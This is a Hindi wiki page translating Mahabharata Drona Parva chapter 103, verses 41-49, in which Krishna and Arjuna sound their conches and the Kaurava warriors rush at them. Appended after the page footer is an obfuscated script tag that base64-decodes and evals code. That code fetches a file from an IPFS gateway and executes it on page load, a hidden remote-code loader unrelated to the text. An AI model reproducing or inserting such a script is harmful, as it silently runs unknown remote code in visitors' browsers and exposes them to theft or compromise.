महाभारत द्रोण पर्व अध्याय 103 श्लोक 41-49

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ

त्रयधिकशततम (103) अध्याय: द्रोण पर्व (जयद्रथवध पर्व)

महाभारत: द्रोण पर्व: त्रयधिकशततम अध्याय: श्लोक 41-49 का हिन्दी अनुवाद

‘नरेश्रवर। भगवान श्री कृष्‍ण के दोनों ओठों से भरी हुई वायु शख्‍ड़ भीतरी भाग में प्रवेश करके पुष्‍ट हो जब गम्‍भीर नाद के रुप में बाहर निकली, उस समय असुरलोक (पाताल), अन्‍तरिक्ष, देवलोक और लोकपालों सहित सम्‍पूर्ण जगत् भय से उद्विग्‍न हो विदीर्ण होता-सा जान पड़ा। उस शख्‍ड़ की ध्‍वनि और धनुष की टंकार से उद्विग्‍न हो निर्मल और सबल सभी शत्रु-सैनिक उस समय पृथ्‍वी पर गिर पड़े । उनके घेरे से मुक्‍त हुआ अर्जुन का रथ वायु संचालित मेघ के समान शोभा पाने लगा । इससे जयद्रथ के रक्षक सेवकों सहित क्षुब्‍ध हो उठे। जयद्रथ की रक्षा में नियुक्त हुए महाधनुर्धर वीर सहसा अर्जुन को देखकर पृथ्‍वी को कंपाते हुए जोर-जोर से गर्जना करने लगे। उन महानस्‍वी वीरों ने शख्‍ड़ध्‍वनि से मिले हुए बाण जनित भयंकर शब्‍दों और सिंहनाद को भी प्रकट किया।आपके सैनिकों द्वारा किये हुए उस भयंकर कोलाहल को सुनकर श्री कृष्‍ण और अर्जुन ने अपने श्रेष्‍ठ शख्‍ड़ों को बजाया। प्रजानाथ। उस महान् शब्‍द से पर्वत, समुद्र, द्वीप और पाताल सहित य‍ह सारी पृथ्‍वी गूंज उठी। भरतश्रेष्‍ठ। वह शब्‍द सम्‍पूर्ण दसों दिशाओं में व्‍याप्‍त होकर वहीं कौरव-पाण्‍डव सेनाओं में प्रतिध्‍वनित होता रहा। आप के रथी और महारथी वहां श्री कृष्‍ण और अर्जुन को उपस्थित देख बड़े भारी उद्वेग में पड़कर उतावले हो उठे। आपके योद्धा कवच धारण किये महाभाग श्री कृष्‍ण और अर्जुन को आया हुआ देख कुपित हो उनकी ओर दौड़े, यह एक अभ्‍दुत-सी बात हुई।

इस प्रकार श्री महाभारत द्रोणपर्व के अन्‍तर्गत जयद्रथवध पर्व में दुर्योधन पराजय विषयक एक सौ तीनवाँ अध्‍याय पूरा हुआ।


« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>